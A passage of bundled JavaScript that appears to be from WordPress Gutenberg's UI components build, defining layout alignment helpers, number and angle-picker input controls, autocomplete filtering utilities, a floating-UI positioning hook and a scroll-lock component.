27212 justify: "center"
27213 },
27214 bottomLeft: {
27215 align: "flex-end",
27216 justify: "flex-start"
27217 },
27218 bottomRight: {
27219 align: "flex-end",
27220 justify: "flex-end"
27221 },
27222 center: {
27223 align: "center",
27224 justify: "center"
27225 },
27226 edge: {
27227 align: "center",
27228 justify: "space-between"
27229 },
27230 left: {
27231 align: "center",
27232 justify: "flex-start"
27233 },
27234 right: {
27235 align: "center",
27236 justify: "flex-end"
27237 },
27238 stretch: {
27239 align: "stretch"
27240 },
27241 top: {
27242 align: "flex-start",
27243 justify: "center"
27244 },
27245 topLeft: {
27246 align: "flex-start",
27247 justify: "flex-start"
27248 },
27249 topRight: {
27250 align: "flex-start",
27251 justify: "flex-end"
27252 }
27253 };
27254 var V_ALIGNMENTS = {
27255 bottom: {
27256 justify: "flex-end",
27257 align: "center"
27258 },
27259 bottomLeft: {
27260 justify: "flex-end",
27261 align: "flex-start"
27262 },
27263 bottomRight: {
27264 justify: "flex-end",
27265 align: "flex-end"
27266 },
27267 center: {
27268 justify: "center",
27269 align: "center"
27270 },
27271 edge: {
27272 justify: "space-between",
27273 align: "center"
27274 },
27275 left: {
27276 justify: "center",
27277 align: "flex-start"
27278 },
27279 right: {
27280 justify: "center",
27281 align: "flex-end"
27282 },
27283 stretch: {
27284 align: "stretch"
27285 },
27286 top: {
27287 justify: "flex-start",
27288 align: "center"
27289 },
27290 topLeft: {
27291 justify: "flex-start",
27292 align: "flex-start"
27293 },
27294 topRight: {
27295 justify: "flex-start",
27296 align: "flex-end"
27297 }
27298 };
27299 function getAlignmentProps(alignment, direction = "row") {
27300 if (!isValueDefined(alignment)) {
27301 return {};
27302 }
27303 const isVertical = direction === "column";
27304 const props = isVertical ? V_ALIGNMENTS : H_ALIGNMENTS;
27305 const alignmentProps = alignment in props ? props[alignment] : {
27306 align: alignment
27307 };
27308 return alignmentProps;
27309 }
27310
27311 // packages/components/build-module/utils/get-valid-children.mjs
27312 var import_element35 = __toESM(require_element(), 1);
27313 function getValidChildren(children) {
27314 if (typeof children === "string") {
27315 return [children];
27316 }
27317 return import_element35.Children.toArray(children).filter((child) => (0, import_element35.isValidElement)(child));
27318 }
27319
27320 // packages/components/build-module/h-stack/hook.mjs
27321 var import_jsx_runtime96 = __toESM(require_jsx_runtime(), 1);
27322 function useHStack(props) {
27323 const {
27324 alignment = "edge",
27325 children,
27326 direction,
27327 spacing = 2,
27328 ...otherProps
27329 } = useContextSystem(props, "HStack");
27330 const align = getAlignmentProps(alignment, direction);
27331 const validChildren = getValidChildren(children);
27332 const clonedChildren = validChildren.map((child, index2) => {
27333 const _isSpacer = hasConnectNamespace(child, ["Spacer"]);
27334 if (_isSpacer) {
27335 const childElement = child;
27336 const _key = childElement.key || `hstack-${index2}`;
27337 return /* @__PURE__ */ (0, import_jsx_runtime96.jsx)(component_default4, {
27338 isBlock: true,
27339 ...childElement.props
27340 }, _key);
27341 }
27342 return child;
27343 });
27344 const propsForFlex = {
27345 children: clonedChildren,
27346 direction,
27347 justify: "center",
27348 ...align,
27349 ...otherProps,
27350 gap: spacing
27351 };
27352 const {
27353 isColumn,
27354 ...flexProps
27355 } = useFlex(propsForFlex);
27356 return flexProps;
27357 }
27358
27359 // packages/components/build-module/h-stack/component.mjs
27360 var import_jsx_runtime97 = __toESM(require_jsx_runtime(), 1);
27361 function UnconnectedHStack(props, forwardedRef) {
27362 const hStackProps = useHStack(props);
27363 return /* @__PURE__ */ (0, import_jsx_runtime97.jsx)(component_default, {
27364 ...hStackProps,
27365 ref: forwardedRef
27366 });
27367 }
27368 var HStack = contextConnect(UnconnectedHStack, "HStack");
27369 var component_default9 = HStack;
27370
27371 // packages/components/build-module/number-control/index.mjs
27372 var import_jsx_runtime98 = __toESM(require_jsx_runtime(), 1);
27373 var noop6 = () => {
27374 };
27375 function UnforwardedNumberControl(props, forwardedRef) {
27376 const {
27377 __unstableStateReducer: stateReducerProp,
27378 className: className2,
27379 dragDirection = "n",
27380 hideHTMLArrows = false,
27381 spinControls = hideHTMLArrows ? "none" : "native",
27382 isDragEnabled = true,
27383 isShiftStepEnabled = true,
27384 label,
27385 max: max3 = Infinity,
27386 min: min3 = -Infinity,
27387 required = false,
27388 shiftStep = 10,
27389 step = 1,
27390 spinFactor = 1,
27391 type: typeProp = "number",
27392 value: valueProp,
27393 size: size3 = "default",
27394 suffix,
27395 onChange = noop6,
27396 __shouldNotWarnDeprecated36pxSize,
27397 ...restProps
27398 } = useDeprecated36pxDefaultSizeProp(props);
27399 maybeWarnDeprecated36pxSize({
27400 componentName: "NumberControl",
27401 size: size3,
27402 __next40pxDefaultSize: restProps.__next40pxDefaultSize,
27403 __shouldNotWarnDeprecated36pxSize
27404 });
27405 if (hideHTMLArrows) {
27406 (0, import_deprecated5.default)("wp.components.NumberControl hideHTMLArrows prop ", {
27407 alternative: 'spinControls="none"',
27408 since: "6.2",
27409 version: "6.3"
27410 });
27411 }
27412 const inputRef = (0, import_element36.useRef)(null);
27413 const mergedRef = (0, import_compose7.useMergeRefs)([inputRef, forwardedRef]);
27414 const isStepAny = step === "any";
27415 const baseStep = isStepAny ? 1 : ensureNumber(step);
27416 const baseSpin = ensureNumber(spinFactor) * baseStep;
27417 const constrainValue = (value, stepOverride) => {
27418 if (!isStepAny) {
27419 value = ensureValidStep(value, min3, stepOverride ?? baseStep);
27420 }
27421 return `${clamp4(value, min3, max3)}`;
27422 };
27423 const baseValue = constrainValue(0);
27424 const autoComplete = typeProp === "number" ? "off" : void 0;
27425 const classes = clsx_default("components-number-control", className2);
27426 const cx3 = useCx();
27427 const spinButtonClasses = cx3(size3 === "small" && styles.smallSpinButtons);
27428 const spinValue = (value, direction, event) => {
27429 event?.preventDefault();
27430 const shift3 = event?.shiftKey && isShiftStepEnabled;
27431 const delta = shift3 ? ensureNumber(shiftStep) * baseSpin : baseSpin;
27432 let nextValue = isValueEmpty(value) ? baseValue : value;
27433 if (direction === "up") {
27434 nextValue = add(nextValue, delta);
27435 } else if (direction === "down") {
27436 nextValue = subtract(nextValue, delta);
27437 }
27438 return constrainValue(nextValue, shift3 ? delta : void 0);
27439 };
27440 const numberControlStateReducer = (state, action) => {
27441 const nextState = {
27442 ...state
27443 };
27444 const {
27445 type,
27446 payload
27447 } = action;
27448 const event = payload.event;
27449 const currentValue = nextState.value;
27450 if (type === PRESS_UP || type === PRESS_DOWN) {
27451 nextState.value = spinValue(currentValue, type === PRESS_UP ? "up" : "down", event);
27452 }
27453 if (type === DRAG && isDragEnabled) {
27454 const [x2, y3] = payload.delta;
27455 const enableShift = payload.shiftKey && isShiftStepEnabled;
27456 const modifier = enableShift ? ensureNumber(shiftStep) * baseSpin : baseSpin;
27457 let directionModifier;
27458 let delta;
27459 switch (dragDirection) {
27460 case "n":
27461 delta = y3;
27462 directionModifier = -1;
27463 break;
27464 case "e":
27465 delta = x2;
27466 directionModifier = (0, import_i18n5.isRTL)() ? -1 : 1;
27467 break;
27468 case "s":
27469 delta = y3;
27470 directionModifier = 1;
27471 break;
27472 case "w":
27473 delta = x2;
27474 directionModifier = (0, import_i18n5.isRTL)() ? 1 : -1;
27475 break;
27476 }
27477 if (delta !== 0) {
27478 delta = Math.ceil(Math.abs(delta)) * Math.sign(delta);
27479 const distance2 = delta * modifier * directionModifier;
27480 nextState.value = constrainValue(
27481 // @ts-expect-error TODO: Investigate if it's ok for currentValue to be undefined
27482 add(currentValue, distance2),
27483 enableShift ? modifier : void 0
27484 );
27485 }
27486 }
27487 if (type === PRESS_ENTER || type === COMMIT) {
27488 const applyEmptyValue = required === false && currentValue === "";
27489 nextState.value = applyEmptyValue ? currentValue : (
27490 // @ts-expect-error TODO: Investigate if it's ok for currentValue to be undefined
27491 constrainValue(currentValue)
27492 );
27493 }
27494 return nextState;
27495 };
27496 const buildSpinButtonClickHandler = (direction) => (event) => onChange(String(spinValue(valueProp, direction, event)), {
27497 // Set event.target to the <input> so that consumers can use
27498 // e.g. event.target.validity.
27499 event: {
27500 ...event,
27501 target: inputRef.current
27502 }
27503 });
27504 return /* @__PURE__ */ (0, import_jsx_runtime98.jsx)(Input2, {
27505 autoComplete,
27506 inputMode: "numeric",
27507 ...restProps,
27508 className: classes,
27509 dragDirection,
27510 hideHTMLArrows: spinControls !== "native",
27511 isDragEnabled,
27512 label,
27513 max: max3 === Infinity ? void 0 : max3,
27514 min: min3 === -Infinity ? void 0 : min3,
27515 ref: mergedRef,
27516 required,
27517 step,
27518 type: typeProp,
27519 value: valueProp,
27520 __unstableStateReducer: (state, action) => {
27521 const baseState = numberControlStateReducer(state, action);
27522 return stateReducerProp?.(baseState, action) ?? baseState;
27523 },
27524 size: size3,
27525 __shouldNotWarnDeprecated36pxSize: true,
27526 suffix: spinControls === "custom" ? /* @__PURE__ */ (0, import_jsx_runtime98.jsxs)(import_jsx_runtime98.Fragment, {
27527 children: [suffix, /* @__PURE__ */ (0, import_jsx_runtime98.jsx)(component_default6, {
27528 marginBottom: 0,
27529 marginRight: 2,
27530 children: /* @__PURE__ */ (0, import_jsx_runtime98.jsxs)(component_default9, {
27531 spacing: 1,
27532 children: [/* @__PURE__ */ (0, import_jsx_runtime98.jsx)(SpinButton, {
27533 className: spinButtonClasses,
27534 icon: plus_default,
27535 size: "small",
27536 label: (0, import_i18n5.__)("Increment"),
27537 onClick: buildSpinButtonClickHandler("up")
27538 }), /* @__PURE__ */ (0, import_jsx_runtime98.jsx)(SpinButton, {
27539 className: spinButtonClasses,
27540 icon: reset_default,
27541 size: "small",
27542 label: (0, import_i18n5.__)("Decrement"),
27543 onClick: buildSpinButtonClickHandler("down")
27544 })]
27545 })
27546 })]
27547 }) : suffix,
27548 onChange
27549 });
27550 }
27551 var NumberControl = (0, import_element36.forwardRef)(UnforwardedNumberControl);
27552 NumberControl.displayName = "NumberControl";
27553 var number_control_default = NumberControl;
27554
27555 // packages/components/build-module/input-control/input-prefix-wrapper.mjs
27556 var import_jsx_runtime99 = __toESM(require_jsx_runtime(), 1);
27557 function UnconnectedInputControlPrefixWrapper(props, forwardedRef) {
27558 const derivedProps = useContextSystem(props, "InputControlPrefixWrapper");
27559 return /* @__PURE__ */ (0, import_jsx_runtime99.jsx)(PrefixSuffixWrapper, {
27560 ...derivedProps,
27561 isPrefix: true,
27562 ref: forwardedRef
27563 });
27564 }
27565 var InputControlPrefixWrapper = contextConnect(UnconnectedInputControlPrefixWrapper, "InputControlPrefixWrapper");
27566 var input_prefix_wrapper_default = InputControlPrefixWrapper;
27567
27568 // packages/components/build-module/input-control/input-suffix-wrapper.mjs
27569 var import_jsx_runtime100 = __toESM(require_jsx_runtime(), 1);
27570 function UnconnectedInputControlSuffixWrapper(props, forwardedRef) {
27571 const derivedProps = useContextSystem(props, "InputControlSuffixWrapper");
27572 return /* @__PURE__ */ (0, import_jsx_runtime100.jsx)(PrefixSuffixWrapper, {
27573 ...derivedProps,
27574 ref: forwardedRef
27575 });
27576 }
27577 var InputControlSuffixWrapper = contextConnect(UnconnectedInputControlSuffixWrapper, "InputControlSuffixWrapper");
27578 var input_suffix_wrapper_default = InputControlSuffixWrapper;
27579
27580 // packages/components/build-module/angle-picker-control/angle-circle.mjs
27581 var import_element37 = __toESM(require_element(), 1);
27582 var import_compose8 = __toESM(require_compose(), 1);
27583 var import_jsx_runtime101 = __toESM(require_jsx_runtime(), 1);
27584 if (typeof document !== "undefined" && !document.head.querySelector("style[data-wp-hash='f35cc94692']")) {
27585 const style2 = document.createElement("style");
27586 style2.setAttribute("data-wp-hash", "f35cc94692");
27587 style2.appendChild(document.createTextNode("._8f57b8d483c51fbe__circle-root{border:1px solid var(--wp-components-color-gray-600,#949494);border-radius:50%;box-sizing:border-box;cursor:grab;height:32px;overflow:hidden;width:32px}._8f57b8d483c51fbe__circle-root:active{cursor:grabbing}.b1bae984ac10fcc3__circle-indicator-wrapper{box-sizing:border-box;height:100%;position:relative;width:100%}.b1bae984ac10fcc3__circle-indicator-wrapper:focus-visible{outline:none}._6d2fe0a2cbb31bf0__circle-indicator{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));border-radius:50%;box-sizing:border-box;display:block;height:6px;left:50%;position:absolute;top:4px;transform:translateX(-50%);width:6px}"));
27588 document.head.appendChild(style2);
27589 }
27590 var style_module_default3 = { "circle-root": "_8f57b8d483c51fbe__circle-root", "circle-indicator-wrapper": "b1bae984ac10fcc3__circle-indicator-wrapper", "circle-indicator": "_6d2fe0a2cbb31bf0__circle-indicator" };
27591 function AngleCircle({
27592 value,
27593 onChange,
27594 className: className2,
27595 ...props
27596 }) {
27597 const angleCircleRef = (0, import_element37.useRef)(null);
27598 const angleCircleCenterRef = (0, import_element37.useRef)(void 0);
27599 const previousCursorValueRef = (0, import_element37.useRef)(void 0);
27600 const setAngleCircleCenter = () => {
27601 if (angleCircleRef.current === null) {
27602 return;
27603 }
27604 const rect = angleCircleRef.current.getBoundingClientRect();
27605 angleCircleCenterRef.current = {
27606 x: rect.x + rect.width / 2,
27607 y: rect.y + rect.height / 2
27608 };
27609 };
27610 const changeAngleToPosition = (event) => {
27611 if (event === void 0) {
27612 return;
27613 }
27614 event.preventDefault();
27615 event.target?.focus();
27616 if (angleCircleCenterRef.current !== void 0 && onChange !== void 0) {
27617 const {
27618 x: centerX,
27619 y: centerY
27620 } = angleCircleCenterRef.current;
27621 onChange(getAngle(centerX, centerY, event.clientX, event.clientY));
27622 }
27623 };
27624 const {
27625 startDrag,
27626 isDragging: isDragging2
27627 } = (0, import_compose8.__experimentalUseDragging)({
27628 onDragStart: (event) => {
27629 setAngleCircleCenter();
27630 changeAngleToPosition(event);
27631 },
27632 onDragMove: changeAngleToPosition,
27633 onDragEnd: changeAngleToPosition
27634 });
27635 (0, import_element37.useEffect)(() => {
27636 if (isDragging2) {
27637 if (previousCursorValueRef.current === void 0) {
27638 previousCursorValueRef.current = document.body.style.cursor;
27639 }
27640 document.body.style.cursor = "grabbing";
27641 } else {
27642 document.body.style.cursor = previousCursorValueRef.current || "";
27643 previousCursorValueRef.current = void 0;
27644 }
27645 }, [isDragging2]);
27646 return (
27647 // eslint-disable-next-line jsx-a11y/no-static-element-interactions
27648 /* @__PURE__ */ (0, import_jsx_runtime101.jsx)("div", {
27649 ref: angleCircleRef,
27650 onMouseDown: startDrag,
27651 className: clsx_default("components-angle-picker-control__angle-circle", style_module_default3["circle-root"], className2),
27652 ...props,
27653 children: /* @__PURE__ */ (0, import_jsx_runtime101.jsx)("div", {
27654 style: value ? {
27655 transform: `rotate(${value}deg)`
27656 } : void 0,
27657 className: clsx_default("components-angle-picker-control__angle-circle-indicator-wrapper", style_module_default3["circle-indicator-wrapper"]),
27658 tabIndex: -1,
27659 children: /* @__PURE__ */ (0, import_jsx_runtime101.jsx)("div", {
27660 className: clsx_default("components-angle-picker-control__angle-circle-indicator", style_module_default3["circle-indicator"])
27661 })
27662 })
27663 })
27664 );
27665 }
27666 function getAngle(centerX, centerY, pointX, pointY) {
27667 const y3 = pointY - centerY;
27668 const x2 = pointX - centerX;
27669 const angleInRadians = Math.atan2(y3, x2);
27670 const angleInDeg = Math.round(angleInRadians * (180 / Math.PI)) + 90;
27671 if (angleInDeg < 0) {
27672 return 360 + angleInDeg;
27673 }
27674 return angleInDeg;
27675 }
27676 var angle_circle_default = AngleCircle;
27677
27678 // packages/components/build-module/angle-picker-control/index.mjs
27679 var import_jsx_runtime102 = __toESM(require_jsx_runtime(), 1);
27680 function UnforwardedAnglePickerControl(props, ref) {
27681 const {
27682 className: className2,
27683 label = (0, import_i18n6.__)("Angle"),
27684 onChange,
27685 value,
27686 ...restProps
27687 } = props;
27688 const handleOnNumberChange = (unprocessedValue) => {
27689 if (onChange === void 0) {
27690 return;
27691 }
27692 const inputValue = unprocessedValue !== void 0 && unprocessedValue !== "" ? parseInt(unprocessedValue, 10) : 0;
27693 onChange(inputValue);
27694 };
27695 const classes = clsx_default("components-angle-picker-control", className2);
27696 const prefixOrSuffixProp = (0, import_i18n6.isRTL)() ? {
27697 prefix: /* @__PURE__ */ (0, import_jsx_runtime102.jsx)(input_prefix_wrapper_default, {
27698 children: "\xB0"
27699 })
27700 } : {
27701 suffix: /* @__PURE__ */ (0, import_jsx_runtime102.jsx)(input_suffix_wrapper_default, {
27702 children: "\xB0"
27703 })
27704 };
27705 return /* @__PURE__ */ (0, import_jsx_runtime102.jsxs)(component_default3, {
27706 ...restProps,
27707 ref,
27708 className: classes,
27709 gap: 2,
27710 children: [/* @__PURE__ */ (0, import_jsx_runtime102.jsx)(component_default5, {
27711 children: /* @__PURE__ */ (0, import_jsx_runtime102.jsx)(number_control_default, {
27712 __next40pxDefaultSize: true,
27713 label,
27714 className: "components-angle-picker-control__input-field",
27715 max: 360,
27716 min: 0,
27717 onChange: handleOnNumberChange,
27718 step: "1",
27719 value,
27720 spinControls: "none",
27721 ...prefixOrSuffixProp
27722 })
27723 }), /* @__PURE__ */ (0, import_jsx_runtime102.jsx)(component_default6, {
27724 marginBottom: "1",
27725 marginTop: "auto",
27726 children: /* @__PURE__ */ (0, import_jsx_runtime102.jsx)(angle_circle_default, {
27727 "aria-hidden": "true",
27728 value,
27729 onChange
27730 })
27731 })]
27732 });
27733 }
27734 var AnglePickerControl = (0, import_element38.forwardRef)(UnforwardedAnglePickerControl);
27735 AnglePickerControl.displayName = "AnglePickerControl";
27736 var angle_picker_control_default = AnglePickerControl;
27737
27738 // packages/components/build-module/autocomplete/index.mjs
27739 var import_remove_accents3 = __toESM(require_remove_accents(), 1);
27740 var import_element52 = __toESM(require_element(), 1);
27741 var import_compose18 = __toESM(require_compose(), 1);
27742 var import_rich_text2 = __toESM(require_rich_text(), 1);
27743 var import_a11y2 = __toESM(require_a11y(), 1);
27744 var import_keycodes = __toESM(require_keycodes(), 1);
27745
27746 // packages/components/build-module/autocomplete/autocompleter-ui.mjs
27747 var import_react_dom6 = __toESM(require_react_dom(), 1);
27748 var import_element51 = __toESM(require_element(), 1);
27749 var import_rich_text = __toESM(require_rich_text(), 1);
27750 var import_compose17 = __toESM(require_compose(), 1);
27751 var import_a11y = __toESM(require_a11y(), 1);
27752 var import_i18n8 = __toESM(require_i18n(), 1);
27753
27754 // packages/components/build-module/autocomplete/get-default-use-items.mjs
27755 var import_remove_accents2 = __toESM(require_remove_accents(), 1);
27756 var import_compose9 = __toESM(require_compose(), 1);
27757 var import_element39 = __toESM(require_element(), 1);
27758
27759 // packages/components/build-module/utils/strings.mjs
27760 var import_remove_accents = __toESM(require_remove_accents(), 1);
27761 var ALL_UNICODE_DASH_CHARACTERS = new RegExp(/[\u007e\u00ad\u2053\u207b\u208b\u2212\p{Pd}]/gu);
27762 var normalizeTextString = (value) => {
27763 return (0, import_remove_accents.default)(value).normalize("NFKC").toLocaleLowerCase().replace(ALL_UNICODE_DASH_CHARACTERS, "-");
27764 };
27765 function kebabCase(str) {
27766 let input = str?.toString?.() ?? "";
27767 input = input.replace(/['\u2019]/, "");
27768 return paramCase(input, {
27769 splitRegexp: [
27770 /(?!(?:1ST|2ND|3RD|[4-9]TH)(?![a-z]))([a-z0-9])([A-Z])/g,
27771 // fooBar => foo-bar, 3Bar => 3-bar
27772 /(?!(?:1st|2nd|3rd|[4-9]th)(?![a-z]))([0-9])([a-z])/g,
27773 // 3bar => 3-bar
27774 /([A-Za-z])([0-9])/g,
27775 // Foo3 => foo-3, foo3 => foo-3
27776 /([A-Z])([A-Z][a-z])/g
27777 // FOOBar => foo-bar
27778 ]
27779 });
27780 }
27781 function escapeRegExp(string) {
27782 return string.replace(/[\\^$.*+?()[\]{}|]/g, "\\$&");
27783 }
27784
27785 // packages/components/build-module/autocomplete/get-default-use-items.mjs
27786 function filterOptions(search, options2 = [], maxResults = 10) {
27787 const filtered = [];
27788 for (let i3 = 0; i3 < options2.length; i3++) {
27789 const option = options2[i3];
27790 let {
27791 keywords = []
27792 } = option;
27793 if ("string" === typeof option.label) {
27794 keywords = [...keywords, option.label];
27795 }
27796 const isMatch = keywords.some((keyword) => search.test((0, import_remove_accents2.default)(keyword)));
27797 if (!isMatch) {
27798 continue;
27799 }
27800 filtered.push(option);
27801 if (filtered.length === maxResults) {
27802 break;
27803 }
27804 }
27805 return filtered;
27806 }
27807 function getDefaultUseItems(autocompleter) {
27808 return (filterValue) => {
27809 const [items, setItems] = (0, import_element39.useState)([]);
27810 (0, import_element39.useLayoutEffect)(() => {
27811 const {
27812 options: options2,
27813 isDebounced
27814 } = autocompleter;
27815 const loadOptions = (0, import_compose9.debounce)(() => {
27816 const promise2 = Promise.resolve(typeof options2 === "function" ? options2(filterValue) : options2).then((optionsData) => {
27817 if (promise2.canceled) {
27818 return;
27819 }
27820 const keyedOptions = optionsData.map((optionData, optionIndex) => ({
27821 key: `${autocompleter.name}-${optionIndex}`,
27822 value: optionData,
27823 label: autocompleter.getOptionLabel(optionData),
27824 keywords: autocompleter.getOptionKeywords ? autocompleter.getOptionKeywords(optionData) : [],
27825 isDisabled: autocompleter.isOptionDisabled ? autocompleter.isOptionDisabled(optionData) : false
27826 }));
27827 const search = new RegExp("(?:\\b|\\s|^)" + escapeRegExp(filterValue), "i");
27828 setItems(filterOptions(search, keyedOptions));
27829 });
27830 return promise2;
27831 }, isDebounced ? 250 : 0);
27832 const promise = loadOptions();
27833 return () => {
27834 loadOptions.cancel();
27835 if (promise) {
27836 promise.canceled = true;
27837 }
27838 };
27839 }, [filterValue]);
27840 return [items];
27841 };
27842 }
27843
27844 // node_modules/@floating-ui/react-dom/dist/floating-ui.react-dom.mjs
27845 var React11 = __toESM(require_react(), 1);
27846 var import_react96 = __toESM(require_react(), 1);
27847 var ReactDOM = __toESM(require_react_dom(), 1);
27848 var arrow3 = (options2) => {
27849 function isRef2(value) {
27850 return {}.hasOwnProperty.call(value, "current");
27851 }
27852 return {
27853 name: "arrow",
27854 options: options2,
27855 fn(state) {
27856 const {
27857 element,
27858 padding: padding2
27859 } = typeof options2 === "function" ? options2(state) : options2;
27860 if (element && isRef2(element)) {
27861 if (element.current != null) {
27862 return arrow2({
27863 element: element.current,
27864 padding: padding2
27865 }).fn(state);
27866 }
27867 return {};
27868 }
27869 if (element) {
27870 return arrow2({
27871 element,
27872 padding: padding2
27873 }).fn(state);
27874 }
27875 return {};
27876 }
27877 };
27878 };
27879 var index = typeof document !== "undefined" ? import_react96.useLayoutEffect : import_react96.useEffect;
27880 function deepEqual(a3, b3) {
27881 if (a3 === b3) {
27882 return true;
27883 }
27884 if (typeof a3 !== typeof b3) {
27885 return false;
27886 }
27887 if (typeof a3 === "function" && a3.toString() === b3.toString()) {
27888 return true;
27889 }
27890 let length2;
27891 let i3;
27892 let keys;
27893 if (a3 && b3 && typeof a3 === "object") {
27894 if (Array.isArray(a3)) {
27895 length2 = a3.length;
27896 if (length2 !== b3.length) return false;
27897 for (i3 = length2; i3-- !== 0; ) {
27898 if (!deepEqual(a3[i3], b3[i3])) {
27899 return false;
27900 }
27901 }
27902 return true;
27903 }
27904 keys = Object.keys(a3);
27905 length2 = keys.length;
27906 if (length2 !== Object.keys(b3).length) {
27907 return false;
27908 }
27909 for (i3 = length2; i3-- !== 0; ) {
27910 if (!{}.hasOwnProperty.call(b3, keys[i3])) {
27911 return false;
27912 }
27913 }
27914 for (i3 = length2; i3-- !== 0; ) {
27915 const key = keys[i3];
27916 if (key === "_owner" && a3.$$typeof) {
27917 continue;
27918 }
27919 if (!deepEqual(a3[key], b3[key])) {
27920 return false;
27921 }
27922 }
27923 return true;
27924 }
27925 return a3 !== a3 && b3 !== b3;
27926 }
27927 function getDPR(element) {
27928 if (typeof window === "undefined") {
27929 return 1;
27930 }
27931 const win = element.ownerDocument.defaultView || window;
27932 return win.devicePixelRatio || 1;
27933 }
27934 function roundByDPR2(element, value) {
27935 const dpr = getDPR(element);
27936 return Math.round(value * dpr) / dpr;
27937 }
27938 function useLatestRef(value) {
27939 const ref = React11.useRef(value);
27940 index(() => {
27941 ref.current = value;
27942 });
27943 return ref;
27944 }
27945 function useFloating(options2) {
27946 if (options2 === void 0) {
27947 options2 = {};
27948 }
27949 const {
27950 placement = "bottom",
27951 strategy = "absolute",
27952 middleware: middleware2 = [],
27953 platform: platform2,
27954 elements: {
27955 reference: externalReference,
27956 floating: externalFloating
27957 } = {},
27958 transform = true,
27959 whileElementsMounted,
27960 open
27961 } = options2;
27962 const [data, setData] = React11.useState({
27963 x: 0,
27964 y: 0,
27965 strategy,
27966 placement,
27967 middlewareData: {},
27968 isPositioned: false
27969 });
27970 const [latestMiddleware, setLatestMiddleware] = React11.useState(middleware2);
27971 if (!deepEqual(latestMiddleware, middleware2)) {
27972 setLatestMiddleware(middleware2);
27973 }
27974 const [_reference, _setReference] = React11.useState(null);
27975 const [_floating, _setFloating] = React11.useState(null);
27976 const setReference = React11.useCallback((node2) => {
27977 if (node2 !== referenceRef.current) {
27978 referenceRef.current = node2;
27979 _setReference(node2);
27980 }
27981 }, []);
27982 const setFloating = React11.useCallback((node2) => {
27983 if (node2 !== floatingRef.current) {
27984 floatingRef.current = node2;
27985 _setFloating(node2);
27986 }
27987 }, []);
27988 const referenceEl = externalReference || _reference;
27989 const floatingEl = externalFloating || _floating;
27990 const referenceRef = React11.useRef(null);
27991 const floatingRef = React11.useRef(null);
27992 const dataRef = React11.useRef(data);
27993 const hasWhileElementsMounted = whileElementsMounted != null;
27994 const whileElementsMountedRef = useLatestRef(whileElementsMounted);
27995 const platformRef = useLatestRef(platform2);
27996 const update = React11.useCallback(() => {
27997 if (!referenceRef.current || !floatingRef.current) {
27998 return;
27999 }
28000 const config = {
28001 placement,
28002 strategy,
28003 middleware: latestMiddleware
28004 };
28005 if (platformRef.current) {
28006 config.platform = platformRef.current;
28007 }
28008 computePosition2(referenceRef.current, floatingRef.current, config).then((data2) => {
28009 const fullData = {
28010 ...data2,
28011 isPositioned: true
28012 };
28013 if (isMountedRef.current && !deepEqual(dataRef.current, fullData)) {
28014 dataRef.current = fullData;
28015 ReactDOM.flushSync(() => {
28016 setData(fullData);
28017 });
28018 }
28019 });
28020 }, [latestMiddleware, placement, strategy, platformRef]);
28021 index(() => {
28022 if (open === false && dataRef.current.isPositioned) {
28023 dataRef.current.isPositioned = false;
28024 setData((data2) => ({
28025 ...data2,
28026 isPositioned: false
28027 }));
28028 }
28029 }, [open]);
28030 const isMountedRef = React11.useRef(false);
28031 index(() => {
28032 isMountedRef.current = true;
28033 return () => {
28034 isMountedRef.current = false;
28035 };
28036 }, []);
28037 index(() => {
28038 if (referenceEl) referenceRef.current = referenceEl;
28039 if (floatingEl) floatingRef.current = floatingEl;
28040 if (referenceEl && floatingEl) {
28041 if (whileElementsMountedRef.current) {
28042 return whileElementsMountedRef.current(referenceEl, floatingEl, update);
28043 }
28044 update();
28045 }
28046 }, [referenceEl, floatingEl, update, whileElementsMountedRef, hasWhileElementsMounted]);
28047 const refs = React11.useMemo(() => ({
28048 reference: referenceRef,
28049 floating: floatingRef,
28050 setReference,
28051 setFloating
28052 }), [setReference, setFloating]);
28053 const elements2 = React11.useMemo(() => ({
28054 reference: referenceEl,
28055 floating: floatingEl
28056 }), [referenceEl, floatingEl]);
28057 const floatingStyles = React11.useMemo(() => {
28058 const initialStyles = {
28059 position: strategy,
28060 left: 0,
28061 top: 0
28062 };
28063 if (!elements2.floating) {
28064 return initialStyles;
28065 }
28066 const x2 = roundByDPR2(elements2.floating, data.x);
28067 const y3 = roundByDPR2(elements2.floating, data.y);
28068 if (transform) {
28069 return {
28070 ...initialStyles,
28071 transform: "translate(" + x2 + "px, " + y3 + "px)",
28072 ...getDPR(elements2.floating) >= 1.5 && {
28073 willChange: "transform"
28074 }
28075 };
28076 }
28077 return {
28078 position: strategy,
28079 left: x2,
28080 top: y3
28081 };
28082 }, [strategy, transform, elements2.floating, data.x, data.y]);
28083 return React11.useMemo(() => ({
28084 ...data,
28085 update,
28086 refs,
28087 elements: elements2,
28088 floatingStyles
28089 }), [data, update, refs, elements2, floatingStyles]);
28090 }
28091
28092 // packages/components/build-module/popover/index.mjs
28093 var import_element50 = __toESM(require_element(), 1);
28094 var import_compose16 = __toESM(require_compose(), 1);
28095 var import_deprecated6 = __toESM(require_deprecated(), 1);
28096 var import_primitives32 = __toESM(require_primitives(), 1);
28097 var import_i18n7 = __toESM(require_i18n(), 1);
28098
28099 // packages/components/build-module/scroll-lock/index.mjs
28100 var import_element40 = __toESM(require_element(), 1);
28101 var previousScrollTop = 0;
28102 function setLocked(locked) {
28103 const scrollingElement = document.scrollingElement || document.body;
28104 if (locked) {
28105 previousScrollTop = scrollingElement.scrollTop;
28106 }
28107 const methodName = locked ? "add" : "remove";
28108 scrollingElement.classList[methodName]("lockscroll");
28109 document.documentElement.classList[methodName]("lockscroll");
28110 if (!locked) {
28111 scrollingElement.scrollTop = previousScrollTop;
28112 }
28113 }
28114 var lockCounter = 0;
28115 function ScrollLock() {
28116 (0, import_element40.useEffect)(() => {
28117 if (lockCounter === 0) {
28118 setLocked(true);
28119 }
28120 ++lockCounter;
28121 return () => {
28122 if (lockCounter === 1) {
28123 setLocked(false);
28124 }
28125 --lockCounter;
28126 };
28127 }, []);
28128 return null;
28129 }
28130 var scroll_lock_default = ScrollLock;
28131
28132 // packages/components/build-module/slot-fill/index.mjs
28133 var import_element48 = __toESM(require_element(), 1);
28134
28135 // packages/components/build-module/slot-fill/fill.mjs
28136 var import_compose11 = __toESM(require_compose(), 1);
28137 var import_element42 = __toESM(require_element(), 1);
28138
28139 // packages/components/build-module/slot-fill/context.mjs
28140 var import_compose10 = __toESM(require_compose(), 1);
28141 var import_element41 = __toESM(require_element(), 1);
28142 var import_warning4 = __toESM(require_warning(), 1);
28143 var initialValue = {
